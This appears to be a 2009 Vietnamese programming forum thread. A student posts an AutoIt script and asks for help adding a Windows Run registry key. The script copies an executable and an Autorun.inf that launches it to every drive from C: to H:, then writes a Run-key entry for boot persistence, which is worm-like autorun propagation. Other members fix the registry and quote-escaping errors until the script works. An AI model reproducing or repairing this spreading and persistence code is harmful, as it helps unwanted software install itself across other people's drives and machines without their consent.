Viết khóa add vào Registry trên AutoIT 3

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thảo luận hệ điều hành Windows

Viết khóa add vào Registry trên AutoIT 3

[Programming] Viết khóa add vào Registry trên AutoIT 3	03/03/2009 09:09:55 (+0700) \| #1 \| 171692

freeze_love
Member

Joined: 23/01/2009 23:07:19
Messages: 415
Location: HCMc
Offline

Mình có một tập tin tạo từ AutiIT, có đoạn mình add giá trị vào Registry nhưng không sao Add được:
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","System","C:\Windows\Nam.exe","REG_SZ")Và không đc, mình đã viết để tạo ra file Reg rồi Add nhưng file tạo ra thì không có dấu nháy như trong file reg trích từ Windows:
Windows Registry Editor Version 5.00

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"nam"="C:\Windows\Nam.exe"
Để ý xem, cái dòng "nam"="C:\Windows\Nam.exe" này không tạo ra được. Tạo ra không có cặp dấu nháy . Đây là đoạn mã đó:

FileDelete ( "D:\Nam.reg" )
$file = FileOpen("D:\Nam.reg", 1)

; Check if file opened for writing OK
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf

FileWrite($file, "Windows Registry Editor Version 5.00")
FileWrite($file, "" & @CRLF)
FileWrite($file, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]")
FileWrite($file, "" & @CRLF)
FileWrite($file, "Nam" & "=" & "C:\\Windows\\Resources\\Nam.exe")
FileClose($file)

RunWait("REGEDIT /S D:\nam.reg")
Ai đó Pro chút giúpo mình tí đi. Mình mới vào nghề IT nên không hiểu nhiều lắm! Mình đã sửa lại nhiều rồi nhưng không thành smilie

do{
học đến điên;
}while (sống);

[Question] Re: Viết khóa add vào Registry trên AutoIT 3	06/03/2009 02:50:58 (+0700) \| #2 \| 172012

freeze_love
Member

Joined: 23/01/2009 23:07:19
Messages: 415
Location: HCMc
Offline

Sao không ai giúp minhf hết vậy ????

do{
học đến điên;
}while (sống);

[Question] Re: Viết khóa add vào Registry trên AutoIT 3	09/03/2009 16:25:17 (+0700) \| #3 \| 172472

vanthu
Member

Joined: 18/02/2009 21:54:40
Messages: 10
Location: PC-Underground
Offline

câu hỏi rối quá,mình không hiểu hết nên trả lời đại theo ý của mình smilie

freeze_love wrote:
Code:

Mình có một tập tin tạo từ AutiIT, có đoạn mình add giá trị vào Registry nhưng không sao Add được:
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","System","C:\Windows\Nam.exe","REG_SZ")

cái này sai cú pháp của AUTOIT nên không add được!
freeze_love wrote:

mình đã viết để tạo ra file Reg rồi Add nhưng file tạo ra thì không có dấu nháy như trong file reg trích từ Windows:
Windows Registry Editor Version 5.00

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"nam"="C:\Windows\Nam.exe"
Để ý xem, cái dòng "nam"="C:\Windows\Nam.exe" này không tạo ra được. Tạo ra không có cặp dấu nháy

không tạo ra được. Tạo ra không có cặp dấu nháy smilie

khó hiểu thật
tạo ra không có cặp dấu nháy?
chắc câu ở trả lời ở trên laf đủ

[Question] Re: Viết khóa add vào Registry trên AutoIT 3	10/03/2009 07:00:11 (+0700) \| #4 \| 172608

freeze_love
Member

Joined: 23/01/2009 23:07:19
Messages: 415
Location: HCMc
Offline

Này nhé, khi add vào registry bằng script của AutoIT sau:
Regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","C:\\Windows\\Nam\\system.exe","REG_SZ" smilie

thì không add được. Vẫn chạy nhưng vào Regedit tìm thì không thấy khóa đã tạo.
KHông được, mình đã tạo một script khi chạy sẽ tao trên HDD một file reg và tiến hành add file này. Nhưng sau khi tạo thì không add được, lý do như sau: khóa không có dấu nháy.
Giờ bạn vào Run - Regedit - Enter, tìm một khóa nào đó và Export ra trên hDD, sau đó bạn mở file đã export = notepad, bạn sẽ thấy tương đương sau:
Windows Registry Editor Version 5.00
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"nam"="C:\Windows\Nam.exe"
Ở đây, "nam"="C:\Windows\Nam.exe" có dấu nháy ở "nam" và "C:\Windows\Nam.exe". Tên khóa là "nam", giá trị là "C:\Windows\Nam.exe" và kiểu string_value sẽ là mặc định nếu viết theo kiểu này khi bạn export file reg từ Windows Registry. Bạn hiểu chứ? Và mình dùng Script tạo file và nội dung = AutoIT theo cách sau, lưu và biên dịch = AutoIT sẽ đc file exe.

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.12.1
Author: LeQuocNam. Y!M: lequocnam_ntv

Script Function:
Template AutoIt script.

#ce ----------------------------------------------------------------------------

FileDelete ( "Autorun.inf" )
$file = FileOpen("Autorun.inf", 1)
; Check if file opened for writing OK
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file." smilie

Exit
EndIf
FileWrite($file, "[AutoRun]" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, "open=Nam.exe" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, "shell\open\Command=Nam.exe" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, "shell\open\Default=1" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, "shell\explore\Command=Nam.exe" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, ";Khoi tao by Le Quoc Nam" smilie

FileClose($file)

FileCopy(@ScriptDir & "\Nam.exe","C:\",1)
FileCopy(@ScriptDir & "\Autorun.inf","C :\",1)
FileCopy(@ScriptDir & "\Nam.exe","D:\",1)
FileCopy(@ScriptDir & "\Autorun.inf","D:\",1)
FileCopy(@ScriptDir & "\Nam.exe","E:\",1)
FileCopy(@ScriptDir & "\Autorun.inf","E:\",1)
FileCopy(@ScriptDir & "\Nam.exe","F:\",1)
FileCopy(@ScriptDir & "\Autorun.inf","F:\",1)
FileCopy(@ScriptDir & "\Nam.exe","G:\",1)
FileCopy(@ScriptDir & "\Autorun.inf","G:\",1)
FileCopy(@ScriptDir & "\Nam.exe","H:\",1)
FileCopy(@ScriptDir & "\Autorun.inf","H:\",1)
FileCopy(@ScriptDir & "\Nam.exe","C:\Windows\",1)

FileDelete ( "D:\Nam.reg )
$file = FileOpen("D:\Nam.reg", 1)
; Check if file opened for writing OK
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file." smilie

Exit
EndIf
FileWrite($file, "Windows Registry Editor Version 5.00" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, "Nam=C:\\Windows\\Nam.exe" smilie

FileWrite($file, "" & @CRLF)
FileClose($file)

run("REGEDIT /S D:\nam.reg" smilie

Run("notepad.exe" smilie

Send("----- Khoi tao boi Le Quoc Nam _ 11T2 _ Y{!}M: lequocnam_ntv ----- {ENTER 2}" smilie

Send("I love you forever ...{ENTER} " smilie

send("---------------------------------------------- {ENTER}" smilie

send(" Created by Le Quoc Nam on Mon, Mar 2nd 2009 {ENTER}" smilie

send(", 11T2 Phan Ngoc Hien Hight School (2008-2009){ENTER}" smilie

send(" YM: lequocnam_ntv{enter}" smilie

send(" Email: lequocnam_ntv@yahoo.com.vn{enter}" smilie

send(" Cam on ban da quan tam ! Have a nice day...{enter}" smilie

send(" Khong phai Virus dau, dung lo nhe. {enter}" smilie

send(" Chi là Script nho viet bang AutoIT thoi {enter}" smilie

send("---------------------------------------------- {ENTER}" smilie

send("{ENTER}" smilie

FileDelete ("D:\Nam.reg)
Sau khi chạy đoạn trên, một file Autorun.inf sẽ tạo trên C:\, D:\, E:\, F:\, H:\,... và một file Nam.reg tại ổ D:\ và tiến hành add file nam.reg rồi xoá file này đi.
Nhưng sau khi chạy thì có tạo Autorun.inf trên cái HDD mà mình định sẵn, và có tạo file nam.reg tại D:\ nhưng khi xem = notepad thì tại dòng
"nam"="C:\Windows\Nam.exe" thì không có dấu nháy ở "nam" và "C:\Windows\Nam.exe". Đó, ý mình muốn hỏi là chổ đó đó. Hỏi chổ mà sao sau khi tạo ra file reg nhưng cặp dấy nhắy mất tiêu. Có sửa lại như sau nhưn gkhông hiệu quả:
FileDelete ( "D:\Nam.reg )
$file = FileOpen("D:\Nam.reg", 1)
; Check if file opened for writing OK
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file." smilie

Exit
EndIf
FileWrite($file, "Windows Registry Editor Version 5.00" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]" smilie

FileWrite($file, "" & @CRLF)
FileWrite($file, ""Nam"="C:\\Windows\\Nam.exe"" ) -> thêm cặp dấu nháy vào
FileWrite($file, "" & @CRLF)
FileClose($file)

run("REGEDIT /S D:\nam.reg" smilie

nhưng lại báo lỗi. Bạn thử chạy script đó đi, rồi chỉ mình biết với... KHông có file setup AutoIT v3, mình send link cho. Thanks nhìu! smilie

Mấy hình mặt cười đó bạn thay = dấu )
Bạn nói là mình bị sai cú pháp của AutoIT? Mình đã đọc tài liệu đi kèm của AuToIT rồi, khóa String_Value đó add =- cách này mà. Bạn có thể chỉ ra chỗ sai không? smilie

do{
học đến điên;
}while (sống);

[Question] Re: Viết khóa add vào Registry trên AutoIT 3	10/03/2009 22:36:46 (+0700) \| #5 \| 172707

vanthu
Member

Joined: 18/02/2009 21:54:40
Messages: 10
Location: PC-Underground
Offline

Năm ngoái mình có nghịch qua cái này,thấy hay phết smilie

freeze_love wrote:
Code:

Regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","C:\\Windows\\Nam\\system.exe","REG_SZ"

mình nghĩ thế này đúng hơn
Code:

Regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","nam","REG_SZ","C:\Windows\Nam\system.exe")

PS:chương trình của bạn nên cho vài cái delay time vào nữa,không thì khó chạy trên máy cũ lắm smilie

[Question] Re: Viết khóa add vào Registry trên AutoIT 3	12/03/2009 09:39:59 (+0700) \| #6 \| 172925

freeze_love
Member

Joined: 23/01/2009 23:07:19
Messages: 415
Location: HCMc
Offline

Bạn ơi sao mà cái khóa của bạn không chạy đc: Regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","nam","REG_SZ","C:\Windows\Nam\system.exe"). Còn cách nào không bạn?

do{
học đến điên;
}while (sống);

[Question] Re: Viết khóa add vào Registry trên AutoIT 3	12/03/2009 10:49:06 (+0700) \| #7 \| 172932

kentji
Member

Joined: 23/11/2007 13:12:59
Messages: 4
Offline

Để file Autorun có thể Import vào RegEdit được, bạn sửa lại đoạn code này

Của bạn

Code:

FileWrite($file, "Windows Registry Editor Version 5.00"_
FileWrite($file, "" & @CRLF)
FileWrite($file, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"_
FileWrite($file, "" & @CRLF)
FileWrite($file, ""Nam"="C:\\Windows\\Nam.exe"" ) -> thêm cặp dấu nháy vào
FileWrite($file, "" & @CRLF)
FileClose($file)

Edit lại như sau:

Code:

FileWrite($file, "Windows Registry Editor Version 5.00")
FileWrite($file, "" & @CRLF)
FileWrite($file, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]")
FileWrite($file, "" & @CRLF)
FileWrite($file, """Nam""" &"="&"""C:\\Windows\\Nam.exe""")  --> Để có thể thêm được dấu nháy
FileWrite($file, "" & @CRLF)
FileClose($file)

[Question] Re: Viết khóa add vào Registry trên AutoIT 3	15/04/2009 07:37:22 (+0700) \| #8 \| 177185

freeze_love
Member

Joined: 23/01/2009 23:07:19
Messages: 415
Location: HCMc
Offline

Cảm ơn bạn nha. Mình đã làm được rồi!

do{
học đến điên;
}while (sống);

Go to:

Users currently in here
1 Anonymous